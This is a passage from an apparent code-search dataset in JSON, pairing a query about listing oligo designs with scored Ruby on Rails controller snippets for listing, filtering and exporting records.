"title": ""
},
{
"docid": "1a7158533fe7d14d9c4604e4cf27bb84",
"score": "0.62150097",
"text": "def require_receipt?\n !!(self.registered_download.require_receipt?)\n end",
"title": ""
},
{
"docid": "37bb7ef7166d08c2e577f31b27a1f6bb",
"score": "0.6214917",
"text": "def remote_file_exists? file_target\n open_connection unless @s3\n file_target = clean_file_target(file_target)\n\n @request_count = @request_count + 1\n obj = get_remote_file(file_target)\n return true if obj && obj.exists?\n return false\n end",
"title": ""
},
{
"docid": "59b36f7101d5c0af13bbcd9e7cff6ef9",
"score": "0.6213991",
"text": "def is_file? url\n path = \"#{PATHS[:file_drops]}#{url}\"\n File.exists?(path) && File.file?(path)\n end",
"title": ""
},
{
"docid": "3502f1d28107b4e90b6511fdc4cf11fc",
"score": "0.62129575",
"text": "def file_exists?(file_name)\n !@ftp.nlst(file_name).empty?\n end",
"title": ""
},
{
"docid": "65e88ac5f551839cbe8388b1ba359d43",
"score": "0.62107724",
"text": "def downloaded?(relname)\n\t\tsig = tv_sig(relname)\n\t\treturn false if sig.nil?\n\t\ttokens = relname.upcase.split(/[._ ]/)\n\t\tourquality = tv_quality(relname)\n\t\tdownloaded_ep = indb { DownloadHistory.find(:first, :conditions => [ 'name = ?', sig.join('.') ]) }\n\t\tif downloaded_ep\n\t\t\tif tokens.index('PROPER') or tokens.index('REPACK')\n\t\t\t\tputs \"Reason: PROPER or REPACK\"\n\t\t\t\treturn false # all propers must be downloaded\n\t\t\telsif @qualityorder.index(get_downloaded_quality(sig)) > ourquality \n\t\t\t\tputs \"Reason: quality #{@qualityorder[ourquality]} is better then #{get_downloaded_quality(sig)}\"\n\t\t\t\treturn false # better version\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4e04de7df2efda3e9054a7f9fdf72a35",
"score": "0.62092143",
"text": "def file_verified?(filename)\n if !File.exists?(filename)\n notifier.test_file_missing(filename)\n puts \"=> ERROR: could not find test file: #{filename}\"\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "a3088a811f558bfbae6587c9f6ab1252",
"score": "0.62033045",
"text": "def filecheck\n return false if file.nil?\n return File.exist?(file)\n end",
"title": ""
},
{
"docid": "4b3627b6173c1d2d537a4f8056a3135c",
"score": "0.6201744",
"text": "def download_disabled?\n !is_downloadable?\n end",
"title": ""
}
] |
927d7c5135936336cfb229b195f54a29
|
Method for listing oligo designs, based on parameters entered above
|
[
{
"docid": "ec69e0fbff43b7b4d885ec5b5d3e2276",
"score": "0.6601854",
"text": "def index\n \n @version = (params[:version] ? Version.find(params[:version][:id]) : Version::DESIGN_VERSION)\n #@version = Version.includes(:gene_lists).find(params[:version][:id])\n\n @condition_array = define_conditions(params, @version.id) \n \n #render text: @condition_array\n \n @oligo_designs = OligoDesign.find_oligos_with_conditions(@condition_array, @version.id)\n \n # return error if no oligos found\n error_found = check_if_blank(@oligo_designs, 'oligos') \n \n if error_found\n redirect_to :action => 'new_query'\n else\n render :action => 'index'\n end\n\n end",
"title": ""
}
] |
[
{
"docid": "2abbb0a1c99c6bbb966cdf48ac00e0a4",
"score": "0.6546354",
"text": "def index\n @designs = Gooey::Design.all\n end",
"title": ""
},
{
"docid": "4264ef4e5cf9f6bd1f5ab38db32a367a",
"score": "0.6211504",
"text": "def index\n @designs = if params[:sort]\n Design.liked\n elsif params[:body_style_id]\n BodyStyle.find(params[:body_style_id]).designs.ordered\n elsif params[:size_id]\n Size.find(params[:size_id]).designs.ordered\n elsif params[:color_id]\n Color.find(params[:color_id]).designs.ordered\n else\n Design.ordered\n end.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @designs }\n end\n end",
"title": ""
},
{
"docid": "413336f45f78101905dc7dbdbad434e4",
"score": "0.6194667",
"text": "def index\n @designs = Design.all\n end",
"title": ""
},
{
"docid": "025395b4b5557d1aaaa9fa67a79bac68",
"score": "0.61627436",
"text": "def index\n scope = editable_designs.search_any_order(params[:search])\n scope = scope_includes(scope)\n scope = scope_filter(scope)\n @designs = scope_order(scope).page(params[:page]).per(40)\n end",
"title": ""
},
{
"docid": "974b72cd7a5e2bbc60b30bf82b2f8413",
"score": "0.6013066",
"text": "def index\n\t\t@demographics = Demographic.all\n\tend",
"title": ""
},
{
"docid": "aebdce2b96bb54cd7caaea177c68ea3e",
"score": "0.5955502",
"text": "def design\r\n \r\n end",
"title": ""
},
{
"docid": "4d361989c55b3ff15ed319d0ffd2ddd0",
"score": "0.59461796",
"text": "def index\n @descriptor_especificos = DescriptorEspecifico.paginate(:per_page => 20, :page =>params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @descriptor_especificos }\n end\n end",
"title": ""
},
{
"docid": "368363a780b6619aad116ce82698db8a",
"score": "0.5926509",
"text": "def index\n @designers = Designer.all\n end",
"title": ""
},
{
"docid": "8da960a812820f52d3633bccfdd30897",
"score": "0.5828162",
"text": "def list_viaticos\n @company = Company.find(1)\n @caja = Caja.find(params[:id])\n \n @pagetitle = \"#{@company.name} - Viaticos\"\n @filters_display = \"block\"\n \n @locations = Location.where(company_id: @company.id).order(\"name ASC\")\n @divisions = Division.where(company_id: @company.id).order(\"name ASC\")\n \n \n if(@company.can_view(current_user))\n @viaticos = Viatico.where(caja_id: params[:id]).order('id DESC').paginate(:page => params[:page])\n\n if params[:search]\n @viaticos = Viatico.where(caja_id: params[:id]).search(params[:search]).order('id DESC').paginate(:page => params[:page])\n else\n @viaticos = Viatico.where(caja_id: params[:id]).order('id DESC').paginate(:page => params[:page]) \n end\n \n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "8da80efffc3deda65d71dc455eaf1363",
"score": "0.5770709",
"text": "def show\n @company = Company.find(params[:id])\n @battalion = Battalion.find(params[:battalion_id])\n @platoon = @company.platoons.find(:all, :order => \"name\")\n @attached = Platoon.all(:conditions => [\"attached_id = ?\", @company.id]) \n @cc = @company.users.find_by_position('Company Commander')\n @fs = @company.users.find_by_position('1st Sergeant')\n @frg = @company.users.find_by_position('FRG Leader')\n @soldiers = @company.soldiers.search(params[:search])\n @primary = @company.primaries.spouses\n \n @kid = (@company.soldiers.find(:all, :select => 'kids.*', :joins => [:kids]))\n \n render :layout => \"dashboard\"\n end",
"title": ""
},
{
"docid": "8f151adafbd82db8148f94d2995f5064",
"score": "0.577037",
"text": "def index\n # Authorize only if current user can read Supplier\n authorize! :read, Supplier\n # OCO\n init_oco if !session[:organization]\n @export = formats_array\n # @projects = projects_dropdown\n # @periods = projects_periods(@projects)\n @billers = billers_dropdown\n end",
"title": ""
},
{
"docid": "3c0df4286e7aff87fb94ed4fc9d9a258",
"score": "0.57596356",
"text": "def index\n @omises = Omise.all\n end",
"title": ""
},
{
"docid": "2ed0b3e49091f31451e8a3855b97b74c",
"score": "0.57062644",
"text": "def designations\n self.dig_for_string(\"designations\")\n end",
"title": ""
},
{
"docid": "53ddff616f8ebc4ddad5bea71d788e91",
"score": "0.5691509",
"text": "def index\n\n @title = \"设计作品大比拼_展示各种风格装修设计作品-立邦 iColor 装修设计鉴赏、设计师作品欣赏、访谈\"\n @description = \"立邦iColor因爱之名刷新生活 设计作品大比拼活动,展示各种风格装修设计作品,你可以按城市、户型、风格、预算,选择适合您的装修设计图。\"\n @key_words = '装修设计作品,装修风格,装修户型,装修设计图'\n @desgins = Design.baicheng.order(\"designs.id desc\")\n province_id,city_id,area_id = params[:province_id].or(nil),params[:city_id].or(nil),params[:area_id].or(nil)\n area_ids =[]\n if area_id.present?\n area_ids = [area_id]\n elsif province_id.present?\n area_ids = Area.robot(province_id,[city_id].compact).map(&:id)\n end\n\n unless area_ids.empty?\n Rails.logger.info area_ids\n @desgins = @desgins.where(area_id: area_ids)\n end\n\n if params[:tag].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:tag])\n end\n if params[:cost].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:cost])\n end\n if params[:style].present?\n @desgins = @desgins.joins(:design_tags).where(\"design_tags.image_library_category_id = ?\", params[:style])\n end\n\n if params[:keywords].present?\n if params[:soso] == \"so_user\"\n @desgins = Design.baicheng.order(\"designs.id desc\").joins(:user).where(\"users.username=?\", params[:keywords]) if params[:keywords].present?\n else\n @desgins = Design.baicheng.order(\"designs.id desc\").where(\"title=?\", params[:keywords]) if params[:keywords].present?\n end\n end\n @designs = @desgins.joins(:cover_img).where('design_images.id is not null').uniq.page(params[:page]).per(24)\n end",
"title": ""
},
{
"docid": "df842b9bbcf0f092125af3b684c9143d",
"score": "0.5690151",
"text": "def list\n return unless has_permission :can_manage_aircraft\n @page_title = \"Aircraft\"\n @offices = Office.find :all\n @aircrafts = Aircraft.find :all , \n :select => \"aircrafts.id,aircrafts.office,aircrafts.deleted,aircrafts.prioritized,aircrafts.identifier,aircraft_types.type_name\", \n :joins=>'inner join aircraft_types on aircraft_types.id = aircrafts.aircraft_type',\n :order=>'aircrafts.deleted,aircraft_types.type_name'\n end",
"title": ""
},
{
"docid": "768e3a33785f8f05cbf8d2d8b51374f1",
"score": "0.5688084",
"text": "def index\n @designation_types = DesignationType.all\n end",
"title": ""
},
{
"docid": "f4f8677eeef6d32b2f66ea148f98f2d4",
"score": "0.5674756",
"text": "def show\n @oligo_design = OligoDesign.includes(:oligo_annotation, :version).find(params[:id])\n @comments = @oligo_design.comments.sort_by(&:created_at).reverse\n end",
"title": ""
},
{
"docid": "b2b91de2331937e9985c847d2b9a247b",
"score": "0.56382686",
"text": "def index\n @devols = Devol.all\n end",
"title": ""
},
{
"docid": "cdd1c4406f86b12008113422475177f4",
"score": "0.5630743",
"text": "def index\n @designations = Designation.all\n @designation = Designation.new\n end",
"title": ""
},
{
"docid": "8f324081fa0060cf72e37ef6af3817ef",
"score": "0.56301916",
"text": "def get_info(params)\n debug 'Admin ListResources: Options: ', params.inspect\n category = params[:type]\n descr = params[:description]\n descr, find_with_array_hash = find_doctor(descr)\n\n if category # if applied specific resource type\n debug \"descr = \" + descr.inspect\n resources = @am_manager.find_all_samant_resources(category, descr)\n elsif urns = params[:urns] # if applied for certain urns\n resources = @am_manager.find_all_samant_resources(nil, descr)\n resources.delete_if {|c| !urns.include?(c.to_uri.to_s)}\n end\n resources.delete_if {|c| c.to_uri.to_s.include?\"/leased\"} unless resources.nil?\n unless find_with_array_hash.empty?\n resources.delete_if {|c| !find_with_array_hash.values[0].include? eval(\"c.#{find_with_array_hash.keys[0]}\")} unless resources.nil?\n end\n resources\n end",
"title": ""
},
{
"docid": "2858c0fc2d8ddf261a8cc1036da45724",
"score": "0.5597578",
"text": "def index\n if params[:group_type].present?\n structures = @sub_project.structure_drawings.where(:group_type => params[:group_type])\n else\n structures = @sub_project.structure_drawings\n end\n \n if params[:structure_type].present? && params[:structure_type] == \"Photos\"\n @structure_drawings = structures.photos\n elsif params[:structure_type].present? && params[:structure_type] == \"Structure & HP's\"\n @structure_drawings = structures.structure_hps\n else\n @structure_drawings = structures.drawings\n end\n end",
"title": ""
},
{
"docid": "4155ba6b56b31a41eb67979cdfe9d603",
"score": "0.55941015",
"text": "def index\n session[:design_style] = params[:style] if params[:style] != nil?\n session[:design_household] = params[:household] if params[:household] != nil?\n session[:design_stage] = params[:stage] if params[:stage] != nil?\n\n @designs = Design.all\n @designs = @designs.where(\"style =?\", session[:design_style]) if not session[:design_style].blank?\n @designs = @designs.where(\"household =?\", session[:design_household]) if not session[:design_household].blank?\n @designs = @designs.where(\"stage =?\", session[:design_stage]) if not session[:design_stage].blank?\n end",
"title": ""
},
{
"docid": "9f8f5b73f691adfe3fae815e4d6592a5",
"score": "0.55927336",
"text": "def list\n @def_items = Def_Items\n @list_items = List_Items\n @menu_name = \"スクールバス:ダイヤグラム表\"\n @collection_options = {:collection_template => \"list\", :entity_template => \"list_entity\"}\n @collection = BusDiagram.find :all, \n :page => current_page,\n :scope => :self, \n :assert_time => @bus_departure_time,\n :select => select_items(@def_items, @list_items + [:id, :run_id]),\n :order => \"diagram_type, holiday, station, hour\"\n end",
"title": ""
},
{
"docid": "09eab97398659c165d56203cc8628243",
"score": "0.55801606",
"text": "def show\n @admin_catalogos = @admin_catalogo.especies.select_basico.left_joins(:adicional, :categoria_taxonomica).order(:nombre_cientifico)\n end",
"title": ""
},
{
"docid": "922ce5ce2522803b646634103498fff3",
"score": "0.55528104",
"text": "def list_deliveries\n\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - guias\"\n @filters_display = \"block\"\n \n @locations = Location.where(company_id: @company.id).order(\"name ASC\")\n @divisions = Division.where(company_id: @company.id).order(\"name ASC\")\n \n if(params[:location] and params[:location] != \"\")\n @sel_location = params[:location]\n end\n \n if(params[:division] and params[:division] != \"\")\n @sel_division = params[:division]\n end\n \n if(@company.can_view(current_user))\n if(params[:search] and params[:search] != \"\")\n @deliveries = Delivery.where([\"company_id = ? AND code like ? \", @company.id, \"%\" + params[:search] + \"%\"]).paginate(:page => params[:page])\n\n else\n @deliveries = Delivery.where(company_id: @company.id).order(\"created_at desc \").paginate(:page => params[:page])\n @filters_display = \"none\"\n end\n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "2fce296dc2fa7568c2c950eea85bf372",
"score": "0.5541996",
"text": "def index\n @operating = Operating.all.paginate(page: params[:page], :per_page => 70)\n end",
"title": ""
},
{
"docid": "c3c8e5a9a31527a5213cf35f23b0540f",
"score": "0.55273545",
"text": "def index\n @personnels = Personnel.all\n @personnels_rectorat = Personnel.where(structure: '1')\n @personnels_fdpri = Personnel.where(structure: '2')\n @personnels_fdpu = Personnel.where(structure: '3')\n @personnels_fsap = Personnel.where(structure: '4')\n end",
"title": ""
},
{
"docid": "72344a5deed7d39017d8755f5bdc7e2c",
"score": "0.5522482",
"text": "def index\n render_not_found('organization') unless parent_organization\n @widgets = parent_organization.widgets\n end",
"title": ""
},
{
"docid": "02bbf2ca8ecb2167295199c7c7160e51",
"score": "0.5515458",
"text": "def index\n @demographic_datas = DemographicData.all\n end",
"title": ""
},
{
"docid": "4c68d1ce5db18e7b37322540507dac4a",
"score": "0.5509319",
"text": "def index\n @creatives = @org.creatives\n end",
"title": ""
},
{
"docid": "3602c526f5515b379962dcb527ad6430",
"score": "0.5508966",
"text": "def index\n @service_learning_positions = @organization_quarter.positions\n @service_learning_positions.sort!{|x,y| x.organization.name <=> y.organization.name}\n @show_quarter_select_dropdown = true\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_learning_positions }\n end\n end",
"title": ""
},
{
"docid": "4156058cf53daae35bf5c9605c6f6826",
"score": "0.5503913",
"text": "def show\n @gastos = Gasto.all\n @company = Company.find(1)\n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @documents = @company.get_documents()\n @cajas = Caja.all \n @employees = @company.get_employees \n @egresos = Egreso.order(:code)\n end",
"title": ""
},
{
"docid": "4156058cf53daae35bf5c9605c6f6826",
"score": "0.5503913",
"text": "def show\n @gastos = Gasto.all\n @company = Company.find(1)\n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @documents = @company.get_documents()\n @cajas = Caja.all \n @employees = @company.get_employees \n @egresos = Egreso.order(:code)\n end",
"title": ""
},
{
"docid": "cfe0eeeaa91b5757427f484da5ef609e",
"score": "0.5499996",
"text": "def index\n @devolucions = Devolucion.all\n end",
"title": ""
},
{
"docid": "6ebb4fb6c76bad4fa8c285d70c15384e",
"score": "0.5481914",
"text": "def index\n @drivers_licesnses = DriversLicesnse.all\n end",
"title": ""
},
{
"docid": "9f9958c26169231fb92217af144f8bc4",
"score": "0.54816294",
"text": "def index\n #@orgaos = Orgao.all\n @orgaos = Orgao.accessible_by(current_ability).order('nome ASC')\n end",
"title": ""
},
{
"docid": "da318bd18c060f4befdebb8ab9f63871",
"score": "0.5474395",
"text": "def index\n @ocupations = Ocupation.all\n end",
"title": ""
},
{
"docid": "64aead853315c8a43decc3eb919defc1",
"score": "0.5473439",
"text": "def index\n @designs = Design.all\n\n @published_designs = []\n @unpublished_designs = []\n\n @designs.each do |d|\n if d.image.present?\n # raise '?hell'\n @published_designs << d\n\n else\n @unpublished_designs << d\n end\n end\n end",
"title": ""
},
{
"docid": "2986dffdaea0ec59ee532818fc352edf",
"score": "0.54657686",
"text": "def index\n @officers = Officer.all\n end",
"title": ""
},
{
"docid": "2986dffdaea0ec59ee532818fc352edf",
"score": "0.54657686",
"text": "def index\n @officers = Officer.all\n end",
"title": ""
},
{
"docid": "b3938171e12b6a250e1fce501e158a19",
"score": "0.54648453",
"text": "def index\n @socio_rgs = SocioRg.all\n end",
"title": ""
},
{
"docid": "af58d7cf52f376d5bb269e20c1d403a7",
"score": "0.54434735",
"text": "def index\n \n @design = Design.find(params[:id])\n #@design.design_changes.find(:all, :order => 'approved, created_at ASC')\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @design }\n end\n end",
"title": ""
},
{
"docid": "a66af04ee3c25582702179aef21b4bdd",
"score": "0.5437364",
"text": "def partner_detail\n if params[:jeton] == 'grvpc'\n @query = Grvpc.find_by(id: params[:id])\n elsif params[:jeton] == 'metropolis'\n @query = Metropoli.find_by(id: params[:id])\n elsif params[:jeton] == 'member'\n @query = Member.find_by(id: params[:id])\n end\n #render layout: 'fylo'\n render layout: 'views/index'\n end",
"title": ""
},
{
"docid": "925a9eda62e3f182dfb199ddb74168c4",
"score": "0.5437256",
"text": "def index\n @dor_informations = DorInformation.all\n end",
"title": ""
},
{
"docid": "b850720dabc4141ea38fbe079d409343",
"score": "0.5429842",
"text": "def show\n @gastos = Gasto.all\n @company = Company.find(1)\n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @documents = @company.get_documents()\n @cajas = Caja.all \n @employees = @company.get_employees \n @tipomov = Tipomov.all \n end",
"title": ""
},
{
"docid": "8682c5a31485ea17315a7d5409264f8a",
"score": "0.542408",
"text": "def index\n @defects = Defect.all.paginate :page => params[:page], :per_page => 5\n @defects_open = Defect.open_bug.paginate :page => params[:page], :per_page => 5\n @defects_new = Defect.new_bug.paginate :page => params[:page], :per_page => 5\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @defects }\n end\n end",
"title": ""
},
{
"docid": "78065aaddf5ca565e5bec89906e525cf",
"score": "0.5421238",
"text": "def index\n @title = @for_which.sub('_', ' ').pluralize.titleize #ex, Quality Systems\n @definitions = params[:two_tier_definitionx_definitions][:model_ar_r]\n @definitions = @definitions.where(:for_which => @for_which)\n @definitions = @definitions.page(params[:page]).per_page(@max_pagination).order('ranking_index') \n end",
"title": ""
},
{
"docid": "04b22519023b8a064bcec6c94d5b5928",
"score": "0.54194844",
"text": "def pcb_admin_home_setup\n \n @designer = {}\n\n release_review = ReviewType.get_release\n designs = Design.find_all_by_phase_id(release_review.id,\n 'created_on ASC')\n\n designs = designs.sort_by { |dr| dr.priority.value }\n \n @design_list = []\n designs.each do |design|\n\n design_summary = {:design => design}\n\n reviews = design.design_reviews.sort_by{ |r| r.review_type.sort_order }\n\n # Go through the reviews until the first review that has not been\n # started is found.\n review_list = []\n\t reviews_started = 0\n\t next_review = nil\n\n reviews.each do |review|\n\n next_review = review\n\n \n break if review.review_status.name == 'Not Started'\n last_status = review.review_status.name\n \n reviews_started += 1\n\n review_rec = {:review => review}\n review_results = review.design_review_results\n review_rec[:reviewers] = review_results.size\n review_results.delete_if { |dr| dr.result != 'APPROVED' && dr.result != 'WAIVED' }\n review_rec[:approvals] = review_results.size\n review_list.push(review_rec)\n \n end\n\n design_summary[:reviews] = review_list\n\n if reviews_started == 0\n design_summary[:next_review] = reviews[0]\n elsif reviews.size == review_list.size\n design_summary[:next_review] = nil\n elsif next_review && next_review.review_status.name == \"Not Started\"\n design_summary[:next_review] = next_review\n else\n design_summary[:next_review] = nil\n end\n\n audit = design.audit\n design_summary[:audit] = audit\n\n num_checks = audit.check_count\n\t\n design_summary[:percent_complete] = \n audit.designer_completed_checks * 100.0 / num_checks[:designer]\n design_summary[:peer_percent_complete] = \n audit.auditor_completed_checks * 100.0 / num_checks[:peer]\n\n @design_list.push(design_summary)\n end\n\n end",
"title": ""
},
{
"docid": "3751670a33697f5cf1c441abdb8085c4",
"score": "0.54191977",
"text": "def index\n @designations = Designation.order(\"id desc\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @designations }\n end\n end",
"title": ""
},
{
"docid": "07305bdf4d73b40d08ab5a6ca9603e1a",
"score": "0.5417298",
"text": "def index\n @c_depos = CDepo.all\n @estandars = Estandar.all\n @slider_depos = SliderDepo.all\n @user = current_user\n end",
"title": ""
},
{
"docid": "f4bc02486235feee7f7747797efed724",
"score": "0.5416948",
"text": "def index\n @ofreces = Ofrece.all\n end",
"title": ""
},
{
"docid": "84fb649b7140cd60529ef3ca9b89356f",
"score": "0.5415069",
"text": "def index\n # internal\n manage_filter_state\n # OCO\n init_oco if !session[:organization]\n\n @search = Office.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n data_accessor_for(Office).include = [:company]\n order_by sort_column, sort_direction\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @offices = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n format.js\n end\n\n # if session[:organization] != '0'\n # # OCO organization active\n # @offices = Office.joins(:company).where(companies: { organization_id: session[:organization] }).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n # else\n # # OCO inactive\n # @offices = Office.paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n # end\n end",
"title": ""
},
{
"docid": "5970615fdb8107472cdab77ba78b5287",
"score": "0.5414523",
"text": "def list\n @soils = Soil.where(:field_id => params[:id])\n\t@project_name = Project.find(session[:project_id]).name\n\t@field_name = Field.find(session[:field_id]).field_name\n\n\trespond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fields }\n end\n end",
"title": ""
},
{
"docid": "12db40a458acdb600c802a5027915faa",
"score": "0.5408039",
"text": "def export_designs_csv(oligo_designs)\r\n xfmt = ExportField::EXPORT_FMT\r\n csv_string = CSV.generate(:col_sep => \"\\t\") do |csv|\r\n csv << (ExportField.headings(xfmt) << 'Extract_Date')\r\n\r\n oligo_designs.each do |oligo_design|\r\n fld_array = []\r\n oligo_annotation = oligo_design.oligo_annotation\r\n\r\n ExportField.fld_names(xfmt).each do |model, fld|\r\n if model == 'oligo_design'\r\n fld_array << oligo_design.send(fld) \r\n\r\n elsif model == 'oligo_annotation'\r\n fld_array << oligo_annotation.send(fld) if oligo_annotation\r\n fld_array << ' ' if oligo_annotation.nil?\r\n end\r\n end\r\n\r\n csv << (fld_array << Date.today.to_s)\r\n end\r\n end\r\n return csv_string\r\n end",
"title": ""
},
{
"docid": "772b43bae8e22ae1a5ae95c4a05d7033",
"score": "0.54079133",
"text": "def show\n @design = Design.find(params[:id])\n\n end",
"title": ""
},
{
"docid": "52faf5501761f1a0d45edc46e56a0301",
"score": "0.53983533",
"text": "def set_design\n if(Gooey::Design.where({name:params[:id]}).exists?)\n @design = Gooey::Design.where({name:params[:id]})[0]\n else\n @design = Gooey::Design.find(params[:id])\n end\n end",
"title": ""
},
{
"docid": "3a38698475ea8ef4f8dcaa2c09b75636",
"score": "0.53952104",
"text": "def nestio_listings(company_id, search_params)\n\t\tsearch_params[:is_nestio] = 1\n\t\t# search_params[:is_hide_on_website] = 1\n\t\tsearch_params[:has_hide_from_agent] = 1\n\t\tpull_data(company_id, search_params)\n\tend",
"title": ""
},
{
"docid": "fa42c3d1d28a18d8e444e209d3513b4e",
"score": "0.5392028",
"text": "def index\n @robot_designs = RobotDesign.order(sort_column + \" \" + sort_direction)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @robot_designs }\n end\n end",
"title": ""
},
{
"docid": "0a91325c7c4abfe7da41619c6ba9047b",
"score": "0.5389331",
"text": "def index\n @odists = Odist.all\n end",
"title": ""
},
{
"docid": "53fb5e111ccd841923ed3f3ca70c2ce2",
"score": "0.5385132",
"text": "def index\r\n @dosifications = Dosification.all\r\n end",
"title": ""
},
{
"docid": "061c10cac80139f3aae729ba44b6cc72",
"score": "0.5382831",
"text": "def index\n @descriptor_genericos = DescriptorGenerico.paginate(:per_page => 20, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @descriptor_genericos }\n end\n end",
"title": ""
},
{
"docid": "9d7030772e266cc413b175085293a83f",
"score": "0.538246",
"text": "def index\n @rcadmin_countertop_designs = Rcadmin::CountertopDesign.all\n end",
"title": ""
},
{
"docid": "b15cb2f36ec114910442ce241292ae58",
"score": "0.53795356",
"text": "def index\n if params[:hydralic_type].present? && params[:hydralic_type] == \"Structure\"\n @hydralic_particulars = @sub_project.hydralic_particulars.structures\n elsif params[:hydralic_type].present? && params[:hydralic_type] == \"Approved\"\n @hydralic_particulars = @sub_project.hydralic_particulars.approved\n else\n @hydralic_particulars = @sub_project.hydralic_particulars.canals\n end\n end",
"title": ""
},
{
"docid": "e58de78ddddf40790543358c4d749ddf",
"score": "0.5376046",
"text": "def list_suppliers\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Suppliers\"\n \n if(@company.can_view(current_user))\n if(params[:search] and params[:search] != \"\") \n \n @suppliers = Supplier.where([\"company_id = ? and (ruc LIKE ? OR name LIKE ?)\", @company.id,\"%\" + params[:search] + \"%\", \"%\" + params[:search] + \"%\"]).order('name').paginate(:page => params[:page]) \n else\n @suppliers = Supplier.where(company_id: @company.id).order('name').paginate(:page => params[:page])\n end\n else\n errPerms()\n end\n end",
"title": ""
},
{
"docid": "a709f8f815d984b24172366279d668d5",
"score": "0.53729427",
"text": "def index\n default_og_params('Organizations')\n @filterrific = initialize_filterrific(\n Org,\n params[:filterrific],\n select_options: { with_category: Org.categories }\n ) || return\n @orgs = @filterrific.find.sort_by(&:name)\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"title": ""
},
{
"docid": "50d6ba9acbed568a65dc10421a774ee3",
"score": "0.53720844",
"text": "def list\n employee = params[:employee].blank? ? '' : params[:employee]\n leave_type = params[:leave_type].blank? ? 0 : params[:leave_type].to_i\n designation = params[:designation].blank? ? 0 : params[:designation].to_i\n dept = params[:dept].blank? ? 0 : params[:dept].to_i\n year = params[:year].blank? ? Time.now.year : params[:year].to_i\n pgnum = params[:pgnum].blank? ? 1 : params[:pgnum].to_i\n pgsize = params[:pgsize].blank? ? 0 : params[:pgsize].to_i\n sortcolumn = params[:sortcolumn].blank? ? EmployeeHelper::DEFAULT_SORT_COLUMN : params[:sortcolumn]\n sortdir = params[:sortdir].blank? ? EmployeeHelper::DEFAULT_SORT_DIR : params[:sortdir]\n \n sort = ApplicationHelper::Sort.new(sortcolumn, sortdir)\n \n filters = { :employee => employee,\n :designation => designation,\n :dept => dept }\n \n if employee.blank? && leave_type == 0 && designation == 0 && dept == 0\n @data = LeaveSummaryHelper.get_all(pgnum, pgsize, sort)\n \n else\n @data = LeaveSummaryHelper.get_filter_by(filters, pgnum, pgsize, sort)\n end\n \n criteria_leavetypes = LeaveType.order(:name).where(:admin_adjust => true)\n \n if leave_type != 0\n criteria_leavetypes = criteria_leavetypes.where(:id => leave_type)\n end\n \n @leavetypes = criteria_leavetypes.all\n @year = year\n \n respond_to do |fmt|\n fmt.html { render :partial => 'list' }\n fmt.json { render :json => [@data, @leavetypes] }\n end\n end",
"title": ""
},
{
"docid": "a59f0022436f3a1a5c2aba7d2fa8b680",
"score": "0.53712994",
"text": "def show\n combo_producto\n combo_platillo\n end",
"title": ""
},
{
"docid": "4baa9b5d3be928a10a1410b6eaadbb6c",
"score": "0.53676516",
"text": "def show\n @related_desires = Desire.tagged_with(@desire.tags).excludes(id: @desire.id).desc(:created_at).limit(9)\n #TODO incorrect sorting\n @solutions = @desire.solutions.desc(:score, :created_at).page(params[:page]).per(ITEMS_PER_PAGE_FEW) #.uniq{|s| s.identity} #.to_a.reject{|s| s.item.blank? || s.item.get_image_url.blank?}\n\n @modes = [\"solutions\", \"comments\"]\n set_mode(:personal_mode, @modes, params[:mode], \"solutions\")\n\n #votes = @solutions.inject([]){|memo, s| memo | s.votes }.sort{|x, y| y.created_at <=> x.created_at}\n #@my_vote = votes.select{|v| v.voter_id == current_user.id.to_s}.first if current_user\n\n #dummy ojbect for new_solution_field\n #dummy = Solution.new\n #if @solutions.empty?\n # @solutions += [dummy]\n #else\n # @solutions = @solutions.each_slice(8).inject([]){|memo, group| memo + (group << dummy)}\n #end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @desire }\n end\n end",
"title": ""
},
{
"docid": "d589b727f35f875ee86686cbb89daf87",
"score": "0.5367305",
"text": "def search_designer\n end",
"title": ""
},
{
"docid": "ad09a5882c84c9148ec05112e09f773b",
"score": "0.5361541",
"text": "def index\n @page_id = \"opinions\"\n @opinions = Opinion.all\n services = Service.find(:all)\n agents = Agent.all\n @agents_list = agents.collect {|item| [ item.name, item.id ]}\n @agents_table = agents.inject({}) {|h,i| h[i.id] = i.name; h}\n @services_list = services.collect {|item| [ item.name, item.id ]}\n @services_table = services.inject({}) {|h, i| h[i.id] = i.name; h}\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @opinions }\n end\n end",
"title": ""
},
{
"docid": "63ebca5db918bb79e7d33267409fc943",
"score": "0.53550285",
"text": "def kefed_library\n @project = Yogo::Project.get(params[:id])\n @experimental_designs = repository(:yogo_persevere){ Crux::YogoModel.all }\n end",
"title": ""
},
{
"docid": "82c38a237b4512b57a56ceeadf5b08fc",
"score": "0.53543526",
